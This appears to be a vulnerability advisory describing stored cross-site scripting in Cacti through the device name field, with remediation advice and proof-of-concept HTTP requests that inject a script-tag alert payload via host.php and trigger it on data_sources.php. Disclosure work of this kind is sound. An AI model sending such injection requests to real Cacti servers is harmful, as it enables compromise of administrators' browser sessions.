Stored Cross-site Scripting in data_sources.php through Device-Name in 'select' input in Cacti

An authenticated user with 'General Administration>Sites/Devices/Data' permissions can configure a malicious device name via `host.php` [ref_id=1]. This malicious payload is then rendered on the `data_sources.php` page when viewed by an administrative user [ref_id=1]. The JavaScript code executes in the victim's browser at view-time, as the payload is stored in the database and displayed without proper sanitization [ref_id=1].

The vulnerability exists in the `data_sources.php` script, specifically where the 'host_id' field is processed and displayed. The `draw_edit_form` function in `html_form.php` is involved in rendering the data, and the `$.fn.textBoxWidth` function in `layout.js` is called, which can execute the injected script [ref_id=1].

The advisory recommends either treating user-supplied information as plain text or escaping it using HTML entities to prevent it from being interpreted as code. For client-side JavaScript, it advises against appending user-controlled input directly into the DOM [ref_id=1]. Users unable to upgrade are advised to manually filter HTML output.

POST /cacti/host.php?header=false HTTP/1.1 Host: <HOST> User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 885 Origin: http://<HOST> Connection: close Cookie: Cacti=<COOKIE>

__csrf_magic=<CSRF TOKEN>&description=Local+Linux+Machine%3Cscript%3Ealert('host.php')%3C%2Fscript%3E&hostname=localhost=&poller_id=1&site_id=0&host_template_id=7&device_threads=1&snmp_version=0&snmp_community=public&snmp_security_level=authPriv&snmp_auth_protocol=MD5&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_priv_protocol=DES&snmp_priv_passphrase=&snmp_priv_passphrase_confirm=&snmp_context=&snmp_engine_id=&snmp_port=161&snmp_timeout=500&max_oids=10&bulk_walk_size=-1&availability_method=0&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1&notes=Initial+Cacti+Device&external_id=&id=1&save_component_host=1&graph_template_id=5&reindex_radio_1=on&reindex_radio_16=on&snmp_query_id=3&reindex_method=0&action=save

GET /cacti/data_sources.php?action=ds_edit&id=8&debug=1 HTTP/1.1 Host: <HOST> Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 X-Requested-With: XMLHttpRequest Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: <COOKIE> Connection: close

[ref_id=1]